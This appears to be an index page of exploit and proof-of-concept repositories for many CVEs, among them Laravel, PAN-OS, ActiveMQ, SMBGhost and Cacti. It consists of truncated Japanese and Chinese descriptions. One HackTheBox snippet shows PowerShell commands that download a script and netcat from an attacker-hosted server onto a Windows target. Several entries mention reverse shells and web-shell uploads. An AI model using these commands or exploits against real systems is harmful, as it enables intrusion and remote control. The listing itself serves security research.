checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2025-32682

🐚 CVE-2025-32682 - MapSVG Lite = 8.5.34 における任意ファイルアップロード 📌 プラグインの詳細 名前: MapSVG Lite 影響を受けるバージョン: = 8.5.34 脆弱性の種類: 任意ファイルアップロード CVE ID: CVE-2025-32682 公開日: 2025年4月15日 CVSSスコア: 9.9（緊急） 💥 脆弱性の概要 WordPress用プラグイン MapSVG Lite は、REST APIエンドポイントを介したSVGファイルのアップロード時にファイルタイプを検証しません： root@kitploit:...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 テスト環境 root@kitploit: mkdir CVE-2021-3129-docker cd CVE-2021-3129-docker wget https://raw.githubusercontent.com/vulhub/vulhub/master/laravel/CVE-2021-3129/docker-compose.yml docker compose up -d 使用方法 root@kitploit: git clone...

CVE-2024-3400-POC

CVE-2024-3400 RCE テストスクリプト 概要 このPythonスクリプトは、特定のPalo Alto Networks GlobalProtectポータルに影響を与えるリモートコード実行（RCE）脆弱性、具体的にはCVE-2024-3400をテストするために設計されています。この脆弱性により、Cookie操作を介して不正なコマンド実行が可能になります。 このスクリプトは、base64エンコードされたコマンド（echo test）を含むCookieペイロードを添えて、指定されたURLのリストに安全なHTTP...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Apache ActiveMQとOpenWireの概要 ActiveMQは、JMSをサポートするクライアントを含むブローカーであり、Javaだけでなく多様な言語を使用するシステム間の通信を可能にします。また、クラスタリング機能やDB、ファイルシステムを通じて各システム間の一貫性と永続性を維持するオープンソースのメッセージングおよび統合パターンサーバーです。 OpenWireは、Apache...

CVE-2024-11972-POC

説明 名称 : CVE-2024-11972 CVSSv3 スコア : 9.8 影響を受けるバージョン : Hunk Companion 1.9.0 公開日 : 2024/12/30 CVE-2024-11972 は、Hunk Companion WordPress プラグインのバージョン 1.9.0 未満における深刻な脆弱性です。この脆弱性により、認証されていない攻撃者が適切に認可されていない REST API エンドポイントを悪用して、WordPress.org...

CVE-2024-41997

Warp Terminal RCE CVE-2024-41997 サニタイズされていない warp:// URIスキームハンドラを介したコマンドインジェクション。詳細な解説は 0day.gg にあります。 概要...

cve-2018-9951

Foxit Reader CPDFObject の Use-After-Free リモートコード実行の脆弱性 脆弱性 解放された後のメモリを参照すると、プログラムがクラッシュしたり、予期しない値を使用したり、コードを実行したりする可能性があります。 脆弱性の説明 この脆弱性により、リモートの攻撃者が Foxit Reader の脆弱なインストール環境で任意のコードを実行できる可能性があります。この脆弱性を悪用するには、ターゲットが悪意のあるページを訪問するか、悪意のあるファイルを開く必要があるため、ユーザー操作が必要です。 具体的な欠陥は、CPDFObject...

CVE-2025-32433

Erlang/OTP SSH のリモートコード実行の脆弱性。問題の根源は、SSHプロトコルのメッセージ処理メカニズムに欠陥があり、攻撃者が認証完了前に接続プロトコルメッセージを送信できることにある。注目すべき点は、この脆弱性がSSHサーバーコンポーネントを実行するすべてのErlang/OTPバージョンに影響を与え、基盤となるシステムのバージョンとは無関係であることだ。 LINUXでのコンパイル：gcc CVE-2025-32433.c -o sshexp...

CVE-2019-11932

CVE-2019-11932 system と gadget のアドレスは、情報漏えいの脆弱性によって見つかった実際のアドレスに置き換える必要があります。 system と gadget のアドレスを置き換えた後、以下のコードを実行して破損した GIF ファイルを生成します: root@kitploit: notroot@osboxes:/Desktop/gif$ make ..... ..... ..... notroot@osboxes:/Desktop/gif$ ./exploit exploit.gif buffer = 0x7ffc586cd8b0 size = 266 47 ...

CVE_2018_16763_Proof_of_Concept

CVE-2018-16763 概念验证 针对 CVE-2018-16763（Fuel CMS - 未认证远程代码执行）的概念验证（PoC）利用程序。 描述 此 Python 3 程序作为 CVE-2018-16763 漏洞在 Fuel CMS 内容管理系统中的 PoC。具体而言，该漏洞允许通过 pages/select/filter 参数进行 PHP 代码评估（本 PoC 中实现），从而导致未认证远程代码执行，这是一个严重系统漏洞。 快速开始 依赖项 Python 3 及 Python 标准库 开源 Git 版本控制系统 其他 Python 包/模块（详见 requirements.tx...

CVE-2020-27955-LFS-main

Git-lfs Remote Code Execution RCE エクスプロイト CVE-2020-27955 .bat / PowerShell 版 脆弱なソフトウェア: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken など 発見者: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows でテスト済み: git, GitHub CLI gh, GitHub Desktop,...

FiberBreak

FiberBreak 针对 CVE-2025-55182（React2Shell）的利用框架 —— React Server Components 中的严重 RCE 漏洞。 概述 CVE ：CVE-2025-55182 CVSS ：10.0（严重） 类型 ：远程代码执行 RCE 影响范围 ：React 19.0.0-rc.0 至 19.0.0，Next.js 15.0.0 至 15.0.3 发现者 ：Lachlan Miller SonarSource 公开 PoC ：maple3142 安装 root@kitploit: 克隆仓库 git clone...

CVE-2024-28397-Js2Py-RCE

CVE-2024-28397-Js2Py-RCE 説明 このリポジトリには、Python用のJs2Py JavaScriptインタプリタにおけるサンドボックスエスケープの脆弱性であるCVE-2024-28397に対するPythonベースのProof of Concept（PoC）が含まれています。対象のアプリケーションがJs2Py経由で信頼できないJSコードを評価する場合、攻撃者はサンドボックスから脱出し、任意のPythonコードを実行できます。これを利用して、脆弱なシステム上でリモートコード実行（RCE）とリバースシェルを獲得できます。...

CVE-2025-67886

CVE-2025-67886 Bitrix24 = 25.100.300 翻訳モジュール リモートコード実行の脆弱性...

CVE-2020-0796-exp

SMBGhostRCEPoC 针对CVE-2020-0796 "SMBGhost"的RCE PoC 仅用于演示目的！请仅将其作为参考。说真的。除我的实验室环境外，未经任何测试。编写仓促，需要进一步改进才能更可靠。有时会出现蓝屏。用于任何非自我教育的目的都是极其糟糕的主意。你的电脑会着火。小狗会死。 好了，言归正传.... 使用示例： root@kitploit: $SMBGhostRCEPoC python exploit.py -ip 192.168.142.131 + found low stub at phys addr 13000! + PML4 at 1ad000 + base...

CVE-2024-44871

MoziloCMS = 3.0.1 認証済みRCE 説明 このスクリプトは、MoziloCMS を実行している Web アプリケーションをテストするために設計されたエクスプロイトツールです。攻撃者は管理者ログインを使用して、jpg ファイル経由で PHP Web シェルをアップロードし、アップロードしたファイルを php にリネームし、その PHP ファイルを介して標的にシステムコマンドを送信できます。 ⚠️ 警告: このスクリプトは教育目的のみに使用してください。責任を持って使用し、システムをテストする前に適切な許可を取得してください。無断使用は違法であり、非倫理的です。 実行方法...

CVE-2024-2054

CVE-2024-2054 Artica-Proxy 管理Webアプリケーションの安全でないデシリアライゼーション RCE ARTICA PROXY 管理Webアプリケーション CVE-2024-2054 のエクスプロイト概念実証 ブログ記事 詳細はこちら: https://blog.sonicwall.com/en-us/2024/03/unpatched-php-deserialization-vulnerability-in-artica-proxy/ 使用方法 root@kitploit: $ python3 CVE-2024-2054.py Enter url:...

CVE-2023-27350

CVE-2023-27350 この脆弱性により、リモート攻撃者は PaperCut NG 22.0.5 Build 63914 の影響を受けるインストールにおいて認証をバイパスすることが可能です。この脆弱性を悪用するために認証は不要です。特定の欠陥は SetupCompleted クラス内に存在します。問題は不適切なアクセス制御に起因します。攻撃者はこの脆弱性を悪用して認証をバイパスし、SYSTEM コンテキストで任意のコードを実行する可能性があります。ZDI-CAN-18987 でした。...

CVE-2022-46169-Exploit

CVE-2022-46169 PoC - Cacti 1.2.22における認証不要のリモートコード実行 このリポジトリには、Cacti 1.2.22に影響するCVE-2022-46169のエクスプロイトが含まれています。この脆弱性により、認証されていない攻撃者が影響を受けるシステム上で任意のコードを実行できるようになります。 このエクスプロイトがどのように可能であるかについての詳細な解説は、こちらの Rapid7の記事を参照してください。非常に詳細に説明されています。 私はこのコードを、教育目的でHack The...